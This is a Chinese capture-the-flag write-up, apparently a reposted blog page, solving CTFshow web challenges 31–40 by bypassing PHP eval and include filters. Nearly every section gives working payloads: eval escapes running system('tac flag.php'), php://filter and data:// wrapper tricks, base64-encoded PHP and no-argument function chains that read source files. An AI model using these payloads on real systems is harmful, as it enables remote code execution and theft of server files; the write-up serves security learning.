首页 > 其他分享 >《CTFshow - Web入门》04. Web 31~40

《CTFshow - Web入门》04. Web 31~40

时间:2022-12-03 15:35:14浏览次数:38  
标签:知识点 include 04 Web url 题解 31 php data

目录


web31

知识点

这里依旧可以用到 web29 的方法:

  • 嵌套eval逃逸参数

当然,能多学一点自然是要多学一点。要像韩跑跑一样多留后手(不是

  • url编码
  • Linux:通配符、其他命令

题解

过滤了空格、点、单引号和cat

在这里插入图片描述
方法一

经典逃逸

url + ?c=eval($_GET[1]);&1=system('tac flag.php');

在这里插入图片描述
方法二

空格的绕过可以使用 %09 (tab)
使用通配符来匹配文件

url + ?c=echo%09`tac%09fl*`;

在这里插入图片描述
方法三
利用无参数函数:

url + ?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

在这里插入图片描述
等多种方法

cat被过滤的解决方案:
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容

web32

知识点

  • PHP:伪协议、文件包含、php代码的闭合。

题解

源码过滤了分号,echo,反引号,单引号,括号,分号。但没有过滤双引号。

在这里插入图片描述
方法一
嵌套include文件包含,利用伪协议文件包含。
过滤了分号,那么可以直接 ?> 闭合php( ?> 闭合的是eval里面的php语句,eval后续还有语句的话,依旧是会执行的。除此以外,php代码最后一句可以不用加分号)

url + ?c=include$_GET["a"]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

得到base64编码过后的源码。

在这里插入图片描述

原理大概就是,这里传了两个参数,
第一个参数c的内容是 include$_GET["a"]?>,
第二个参数a,不受后边匹配条件的影响。
即后面的php协议不会受到正则的约束
include传参实现文件包含,利用php伪协议就可以读取flag.php文件。
这里,也可以用$_POST,那么后续传参就通过post传参。

方法二

与方法一大同小异

url + ?c=$nice=include$_GET["url"]?>&url=php://filter/read=convert.base64-
encode/resource=flag.php

web33

知识点

  • PHP:伪协议、文件包含

题解

在上一题的基础上过滤了双引号。

在这里插入图片描述
方法一
既然过滤了双引号,那就直接加变量名。

url + ?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

在这里插入图片描述

web34

知识点

  • PHP:伪协议、文件包含

题解

相比上题过滤了个冒号。不过并没有影响。继续用上一题的payload。

在这里插入图片描述

url + ?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

得到flag

在这里插入图片描述

web35

知识点

  • PHP:伪协议、文件包含

题解

相比上题过滤了 < 和 = 。不过还是没有影响。

在这里插入图片描述
继续沿用上一题payload

url + ?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

不要被迷惑了,第一个等号是用来传参的

得手

在这里插入图片描述

web36

知识点

  • PHP:伪协议、文件包含

题解

过滤了0-9的数字和反斜杠
(数字过滤是因为可以用数字传参,$_GET[1],所以这里把数字过滤了)

在这里插入图片描述
但还是无法阻止我们闭合php,把数组的键改为英文就可以了,比如a。

url + ?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

在这里插入图片描述

web37

知识点

  • PHP:伪协议(data://)、文件包含
$c = 'data://text/plain,<?php echo hello?>';
include($c);

//php中,以上代码相当于包含了 <?php echo hello?>

题解

本题直接提供了一个include函数

在这里插入图片描述
方法一

data伪协议配合通配符绕过

url + ?c=data://text/plain,<?php system('cat fl*')?>

在这里插入图片描述
方法二

利用base64编解码

先对 <?php system("cat flag.php");?> 进行base64编码

在这里插入图片描述
再利用伪协议传输

url + ?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==

在这里插入图片描述

web38

知识点

  • PHP:伪协议(data://)、文件包含、短标签

题解

在这里插入图片描述
解法一

可以继续沿用上一题的payload。

url + ?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==

在这里插入图片描述
解法二

php代码这里可以使用php短标签进行绕过,flag.php 可继续用通配符 ? 绕过

url + ?c=data://text/plain,<?=system('tac fla?.???')?>

在这里插入图片描述

解法三

nginx的日志文件/var/log/nginx/access.log

题目提示可以通过包含日志文件拿shell。

这个方法试了几次,虽然蚁剑连上了,但查看不了文件。
先这样吧,之后再来试一试

web39

知识点

  • PHP:伪协议(data://)、文件包含

题解

会在后面拼接一个 .php,但是过滤了flag

在这里插入图片描述
解法一

闭合 include函数,让拼接不执行

url + ?c=data://text/plain,<?php system('cat fl*')?>)?><?php

在这里插入图片描述
解法二

其实不用做其他处理,直接用通配符代替传参即可

url + ?c=data://text/plain,<?php system('cat fl*')?>

在这里插入图片描述
因为.php 前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上。

在这里插入图片描述

data://text/plain ,这样就相当于执行了php语句。.php 因为前面的php语句已经闭合了,所以后面的 .php 会被当成html页面直接显示在页面上,起不到什么作用

web40

知识点

  • 无参数函数

题解

过滤了很多东西,但是下面是eval,可以直接函数执行

在这里插入图片描述
而且,仔细看,其中的括号过滤是中文全角的括号,而非半角的英文括号

if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
    eval($c);
}

所以还是可以使用括号。

解法一

使用无参数函数。

url + ?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

在这里插入图片描述
解法二

题中还给了另一个解法,使用session:输入 ?c=session_start();system(session_id());
这个解法也先放一放,之后再来试试。

标签:知识点,include,04,Web,url,题解,31,php,data
From: https://www.cnblogs.com/GCom/p/16947760.html

相关文章

  • NO.704二分查找
    问题描述给定一个 n 个元素有序的(升序)整型数组 nums 和一个目标值 target  ,写一个函数搜索 nums 中的 target,如果目标值存在返回下标,否则返回 -1。示例1:输......
  • 配置Gitlab Webook触发Jenkins流水线
    ......
  • ORA-28040: 没有匹配的验证协议
    问题:ORA-28040:没有匹配的验证协议原因:Oracle数据库安装的是12.2版本,OracleClient安装的版本是11(ODTwithODAC1120320_32bit)。解决:打开 sqlnet.ora 文件,增加以下两行......
  • mysql学习系列:总结数据库连接不上的数种情况,问题编号:ERROR 1045 (28000)
    (文章目录)场景今天重启CDH的时候,发现重启报错,查看日志才发现是mysql数据库连接不上。在尝试解决的过程中,踩到一些坑。所以总结一下,并分享给大家看看,减少大家伙继续踩坑的......
  • 07cj031,07CJ03-1图集免费下载
    简介07CJ03-1轻钢龙骨石膏板隔墙、吊顶图集是中国建筑标准设计研究院组织编写的一部针对轻钢龙骨、石膏板材料用于非承重隔墙、室内吊顶装修的装修、建造参考资料,为用户提......
  • PythonWeb开发:90分钟用Flask搭建博客
    来自https://www.bilibili.com/video/BV1gh411q7xo?p=2&vd_source=54aa98683b2f8392aec4499961f896ce1.环境准备1.1搭建虚拟环境在项目文件夹下打开控制台,输入pytho......
  • simpread-WebSocket 教程
    WebSocket是一种网络通信协议,很多高级功能都需要它。WebSocket是一种网络通信协议,很多高级功能都需要它。本文介绍WebSocket协议的使用方法。一、为什么需要Web......
  • 2022-2023-1 20221318 《计算机基础和程序设计》第十四周学习总结
    这个作业属于那个班级https://edu.cnblogs.com/campus/besti/2022-2023-1-CFAP作业要求https://www.cnblogs.com/rocedu/p/9577842.html#WEEK14作业目标学习《C语言程......
  • docker入门(利用docker部署web应用)
    第一章什么是docker1.1docker的发展史2010年几个年轻人成立了一个做PAAS平台的公司dotCloud.起初公司发展的不错,不但拿到过一些融资,还获得了美国著名孵化器YCombinator......
  • Webcam.getWebcamByName(“XXX“)的用法/Webcam调用摄像头的方法
    Webcam.getWebcamByName(“XXX”)的用法网上的资料很多都是Webcam.getDefault(),但是调用此方法时只能调用系统默认摄像头,在我的笔记本上只能调用我笔记本上的摄像头,而我希......